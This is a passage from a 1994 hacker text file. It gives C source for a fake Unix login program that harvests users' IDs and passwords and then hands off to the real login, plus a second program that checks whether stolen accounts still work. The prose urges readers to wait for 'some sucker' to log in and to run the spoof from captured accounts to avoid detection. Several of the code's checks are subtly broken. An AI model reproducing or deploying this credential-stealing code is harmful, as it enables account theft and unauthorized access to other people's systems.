  1045. /* Check for shadowed password system, in SUNOS, the field in /etc/passwd
  1046.    should begin with '##', in system V it could contain an 'x', if none
  1047.    of these exist, it checks that the entry = 13 chars, if less then
  1048.    shadow system will probably be implemented (unless acct has been
  1049.    disabled) */
  1050.  
  1051.  if ( invalid == 0 ) {
  1052.  
  1053.        if ((strcmp(salt, "##")) || (strncmp(salt, "x", 1)) == NULL)
  1054.            shadow = 1;
  1055.        else
  1056.           if (strlen(pwentry->pw_passwd) < 13)
  1057.              shadow = 1;
  1058.  
  1059.  
  1060. /* If unshadowed, use the salt from the pwfile field & the key to
  1061.    form the encrypted password which is checked against the entry
  1062.    in the password file, if it matches, then all is well, if not,
  1063.    spoof runs again!! */
  1064.  
  1065.     if ( shadow != 1 ) {
  1066.  
  1067.       if (strcmp(pwentry->pw_passwd, crypt(u.key, salt)) == NULL)
  1068.          invalid = 0;
  1069.       else
  1070.          invalid = 1;
  1071.     }
  1072.  
  1073.  
  1074. /* If SUNOS Shadowing is in operation, use the pwdauth() function
  1075.    to validate the password, if not SUNOS, substitute this code
  1076.    with the routine I gave earlier! */
  1077.  
  1078.        if ( shadow == 1 ) {
  1079.           if (pwstat = pwdauth(u.logname, u.key) == NULL)
  1080.              invalid = 0;
  1081.           else
  1082.              invalid = 1;
  1083.        }
  1084. }
  1085.  
  1086.  
  1087. /* If we have a valid account & password, get user info from the
  1088.    pwfile & store it */
  1089.  
  1090.         if ( invalid == 0 ) {
  1091.  
  1092.            u.comment = pwentry->pw_gecos;
  1093.             u.homedir = pwentry->pw_dir;
  1094.            u.shell = pwentry->pw_shell;
  1095.  
  1096.           /* Open file to store user info */
  1097.  
  1098.            if ((fp = fopen(OUTFILE, "a")) == NULL)
  1099.               log_out();
  1100.  
  1101.                write_details(&u);
  1102.                 fclose(fp);
  1103.                 no_message = 1;
  1104.                flag = 1;
  1105.         }
  1106.         else
  1107.            flag = 0;
  1108.  
  1109.         invalid_login();
  1110.  
  1111.     endpwent();                       /* Close pwfile */
  1112.  
  1113.     if (no_message == 0)
  1114.        loop_cnt++;
  1115.  
  1116.   }                                  /* end while */
  1117.  
  1118. log_out();                           /* call real login program */
  1119.  
  1120. }
  1121.  
  1122.  
  1123. /* Function to read user i.d. & password */
  1124.  
  1125. void get_info( void )
  1126. {
  1127.    char user[11];
  1128.    unsigned int string_len;
  1129.  
  1130.    fflush(stdin);
  1131.     prep_str(u.logname);
  1132.     prep_str(u.key);
  1133.    strcpy(user, "\n");
  1134.  
  1135.  
  1136. /* Loop while some loser keeps hitting return when asked for user
  1137.    i.d. and if someone hits CTRL-D to break out of spoof. Enter
  1138.    a # at login to exit spoof. Uncomment the appropriate line(s)
  1139.    below to customise the spoof to look like your system */
  1140.  
  1141.   while ((strcmp(user, "\n") == NULL) && (!feof(stdin)))
  1142.   {
  1143.    /* printf("Scorch Ltd SUNOS 4.1.3\n\n); */
  1144.  
  1145.     if (loop_cnt > 0)
  1146.        strcpy(hname, "login: ");
  1147.  
  1148.       printf("%s", hname);
  1149.       fgets(user, 9, stdin);
  1150.  
  1151.  
  1152.    /* Back door for hacker, # at present, can be changed,
  1153.       but leave \n in. */
  1154.  
  1155.      if (strcmp(user, "#\n") == NULL)
  1156.          exit(0);
  1157.  
  1158.  
  1159.     /* Strip \n from login i.d. */
  1160.  
  1161.      if (strlen(user) < 8)
  1162.         string_len = strlen(user) - 1;
  1163.      else
  1164.         string_len = strlen(user);
  1165.  
  1166.      strncpy(u.logname, user, string_len);
  1167.  
  1168.  
  1169.  
  1170. /* check to see if CTRL-D has occurred because it does not
  1171.    generate an interrupt like CTRL-C, but instead generates
  1172.    an end-of-file on stdin */
  1173.  
  1174.      if (feof(stdin)) {
  1175.          clearerr(stdin);
  1176.         printf("\n");
  1177.      }
  1178.  
  1179.   }
  1180.  
  1181.  
  1182.  
  1183. /* Turn off screen display & read users password */
  1184.  
  1185.      strncpy(u.key, getpass("Password:"), 8);
  1186.  
  1187. }
  1188.  
  1189.  
  1190.  
  1191. /* Function to increment the timer which holds the amount of time
  1192.    the spoof has been running */
  1193.  
  1194. void catch( void )
  1195. {
  1196.   time_on++;
  1197.  
  1198.  
  1199. /* If spoof has been running for 15 minutes, and has not
  1200.    been used, stop timer and call spoof exit routine */
  1201.  
  1202. if ( time_out == 0 ) {
  1203.    if (time_on == 15) {
  1204.        printf("\n");
  1205.         alarm(0);
  1206.        log_out();
  1207.    }
  1208. }
  1209.  
  1210.  
  1211. /* 'Touch' your tty, effectively keeping terminal idle time to 0 */
  1212.  
  1213.  utime(tty, times);
  1214. alarm(50);
  1215. }
  1216.  
  1217.  
  1218.  
  1219. /* Initialise a string with \0's */
  1220.  
  1221. void prep_str( char str[] )
  1222. {
  1223. int strl, cnt;
  1224.  
  1225. strl = strlen(str);
  1226. for (cnt = 0; cnt != strl; cnt++)
  1227.     str[cnt] = ' ';
  1228. }
  1229.  
  1230.  
  1231. /* function to catch interrupts, CTRL-C & CTRL-Z etc as
  1232.    well as the timer signals */
  1233.  
  1234. void disable_interrupts( void )
  1235. {
  1236.    signal(SIGALRM, catch);
  1237.     signal(SIGQUIT, SIG_IGN);
  1238.      signal(SIGTERM, SIG_IGN);
  1239.     signal(SIGINT, SIG_IGN);
  1240.    signal(SIGTSTP, SIG_IGN);
  1241. }
  1242.  
  1243.  
  1244. /* Write the users i.d., password, personal information, homedir
  1245.    and shell to a file */
  1246.  
  1247. void write_details(struct loginfo *sptr)
  1248. {
  1249.  
  1250.    fprintf(fp, "%s:%s:", sptr->logname, sptr->key);
  1251.     fprintf(fp, "%d:%d:", pwentry->pw_uid, pwentry->pw_gid);
  1252.      fprintf(fp, "%s:%s:", sptr->comment, sptr->homedir);
  1253.     fprintf(fp, "%s\n", sptr->shell);
  1254.    fprintf(fp, "\n");
  1255. }
  1256.  
  1257.  
  1258.  
  1259. /* Display login incorrect only if the user hasn't logged on as
  1260.    'sync' */
  1261.  
  1262. void invalid_login( void )
  1263. {
  1264.  
  1265.          if ( flag == 1 && pwstat == 0 )
  1266.             sleep(wait);
  1267.  
  1268.          if ( no_message == 0 )
  1269.             printf("Login incorrect\n");
  1270. }
  1271.  
  1272.  
  1273. /* Displays appropriate message, exec's the real login program,
  1274.    this replaces the spoof & effectively logs spoof's account off.
  1275.    Note: this spoof must be exec'd from the shell to work */
  1276.  
  1277. void log_out( void )
  1278. {
  1279.   time_out = 1;
  1280.  
  1281.    if ( no_message == 1 ) {
  1282.         sleep(1);
  1283.        printf("Login incorrect\n");
  1284.    }
  1285.  
  1286.    execl(LOGPATH, "login", (char *)0);
  1287. }
  1288.  
  1289. ----------cut here-------------------------------------------------------
  1290.  
  1291. then delete the source, run it and wait for some sucker to login!.
  1292. If you do initially run this spoof from your account, I suggest you
  1293. remove it when you have grabbed someone's account and run it from theirs
  1294. from then on, this reduces your chances of being caught!
  1295.  
  1296.  
  1297.  
  1298.  
  1299.  
  1300.                       User i.d. & Password Validator
  1301.                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  1302.  
  1303. Now if you are familiar with the unix Crack program, as I'm sure most of
  1304. you are ;-), or if you have used my spoof to grab some accounts,
  1305. this little program could be of some use. Say you have snagged
  1306. quit a few accounts, and a few weeks later you wanna see if they are still
  1307. alive, instead of logging onto them, then logging out again 20 or 30 times
  1308. which can take time, and could get the system admin looking your way, this
  1309. program will continuously ask you to enter a user i.d. & password, then
  1310. validate them both by actually using the appropriate entry in the password
  1311. file. All valid accounts are then stored along with other info from the
  1312. password file, in a data file. The program loops around until you stop it.
  1313.  
  1314. This works on all unshadowed unix systems, and, you guessed it!, shadowed
  1315. SUNOS systems.
  1316.  
  1317. If you run it on an unshadowed unix other than SUNOS, remove all references
  1318. to pwdauth(), along with the shadow password file checking routine,
  1319. if your on sysV, your shit outa luck! anyway, here goes :-
  1320.  
  1321.  
  1322. ---cut here---------------------------------------------------------------
  1323.  
  1324. /* Program   : To validate accounts & passwords on both
  1325.                shadowed & unshadowed unix systems.
  1326.    Author    : The Shining/UPi (UK Division)
  1327.    Date      : Released 12/4/94
  1328.    UNIX type : All unshadowed systems, and SUNOS shadowed systems */
  1329.  
  1330.  
  1331. #include <stdio.h>
  1332. #include <string.h>
  1333. #include <pwd.h>
  1334.  
  1335.  
  1336. FILE *fp;
  1337.  
  1338.  
  1339. int pw_system( void ), shadowed( void ), unshadowed( void );
  1340. void write_info( void ), display_notice( void );
  1341.  
  1342. struct passwd *pwentry, *getpwnam();
  1343.  
  1344. struct user {
  1345.        char logname[10];
  1346.        char key[9];
  1347.        char salt[3];
  1348. } u;
  1349.  
  1350.  
  1351. char *getpass(), *pwdauth(), *crypt(), ans[2];
  1352. int invalid_user, stat;
  1353.  
  1354.  
  1355. int main( void )
  1356. {
  1357.  
  1358.  strcpy(ans, "y");
  1359.  
  1360.  while (strcmp(ans, "y") == NULL)
  1361.  {
  1362.    invalid_user = stat = 0;
  1363.     display_notice();
  1364.      printf("Enter login id:");
  1365.     scanf("%9s", u.logname);
  1366.    strcpy(u.key, getpass("Password:"));
  1367.  
  1368.  
  1369.  setpwent();
  1370.  
  1371.    if ((pwentry = getpwnam(u.logname)) == (struct passwd *) NULL)
  1372.       invalid_user = 1;
  1373.    else
  1374.       strncpy(u.salt, pwentry->pw_passwd, 2);
  1375.  
  1376.  
  1377.  if (invalid_user != 1) {
  1378.  
  1379.    if ((stat = pw_system()) == 1) {
  1380.       if ((stat = unshadowed()) == NULL) {
  1381.            printf("Unshadowed valid account! - storing details\n");
  1382.           write_info();
  1383.       }
  1384.    }
  1385.    else
  1386.      if ((stat = shadowed()) == NULL) {
  1387.           printf("SUNOS Shadowed valid account! - storing details\n");
  1388.          write_info();
  1389.      }
  1390.      else
  1391.         invalid_user = 2;
  1392.  
  1393.  }
  1394.  
  1395.  
  1396.     if (invalid_user == 1)
  1397.        printf("User unknown/not found in password file\n");
  1398.  
  1399.     if (invalid_user == 2 )
  1400.        printf("Password invalid\n");
  1401.  
  1402.        printf("\n\nValidate another account?(y/n): ");
  1403.        scanf("%1s", ans);
  1404.  
  1405.  endpwent();
  1406.  }
  1407. }
  1408.  
  1409.  
  1410. /* Check to see if shadow password system is used, in SUNOS the field
  1411.    in /etc/passwd starts with a '#', if not, check to see if entry
  1412.    is 13 chars, if not shadow must be in use. */
  1413.  
  1414. int pw_system( void )
  1415. {
  1416.    if (strlen(pwentry->pw_passwd) != 13)
  1417.       return(0);
  1418.    else
  1419.       if (strcmp(u.salt, "##") == NULL)
  1420.          return(0);
  1421.       else
  1422.          return(1);
  1423. }
  1424.  
  1425.  
  1426. /* If system is unshadowed, get the 2 character salt from the password
  1427.    file, and use this to encrypt the password entered. This is then
  1428.    compared against the password file entry. */
  1429.  
  1430. int unshadowed( void )
  1431. {
  1432. if (pwentry->pw_passwd == crypt(u.key, u.salt))
  1433.    return(0);
  1434. else
  1435.    return(1);
  1436. }
  1437.  
  1438.  
  1439. /* If SUNOS shadowe system is used, use the pwdauth() function to validate
  1440.    the password stored in the /etc/security/passwd.adjunct file */
  1441.  
  1442. int shadowed( void )
  1443. {
  1444. int pwstat;
  1445.  
  1446. if (pwstat = pwdauth(u.logname, u.key) == NULL)
  1447.    return(0);
  1448. else
  1449.    return(1);
  1450. }
  1451.  
  1452.  
  1453. /* Praise myself!!!! */
  1454.  
  1455. void display_notice( void )
  1456. {
  1457. system("clear");
  1458.  printf("Unix Account login id & password validator.\n");
  1459.  printf("For all unshadowed UNIX systems & shadowed SUNOS only.\n\n");
  1460. printf("(c)1994 The Shining\n\n\n\n");
  1461. }
  1462.  
  1463.  
  1464. /* Open a file called 'data' and store account i.d. & password along with
  1465.    other information retrieved from the password file */
  1466.  
  1467. void write_info( void )
  1468. {
  1469.  
  1470. /* Open a file & store account information from pwfile in it */
  1471.  
  1472. if ((fp = fopen("data", "a")) == NULL) {
  1473.      printf("error opening output file\n");
  1474.     exit(0);
  1475. }
  1476.  
  1477. fprintf(fp, "%s:%s:%d:", u.logname, u.key, pwentry->pw_uid);
  1478.  fprintf(fp, "%d:%s:", pwentry->pw_gid, pwentry->pw_gecos);
  1479.  fprintf(fp, "%s:%s\n", pwentry->pw_dir, pwentry->pw_shell);
  1480. fclose(fp);
  1481. }
  1482.  
  1483. -----cut here------------------------------------------------------------------
  1484.  
  1485.  
  1486.  
  1487. The above programs will not compile under non-ansi C compilers without quite
  1488. a bit of modification. I have tested all these programs on SUNOS both
  1489. shadowed & unshadowed, though they should work on other systems with
  1490. little modification (except the shadow password cracker, which is SUNOS
  1491. shadow system specific).
  1492.  
  1493.  
  1494. Regards to the following guys :-
  1495.  
  1496.  
  1497. Archbishop & The Lost Avenger/UPi, RamRaider/QTX,
  1498. the guys at United International Perverts(yo Dirty Mac & Jasper!)
  1499. and all I know.
  1500.  
  1501.  
  1502. (c) 1994 The Shining (The NORTH!, U.K.)
  1503.  
  1504. *******************************************************************************
  1505.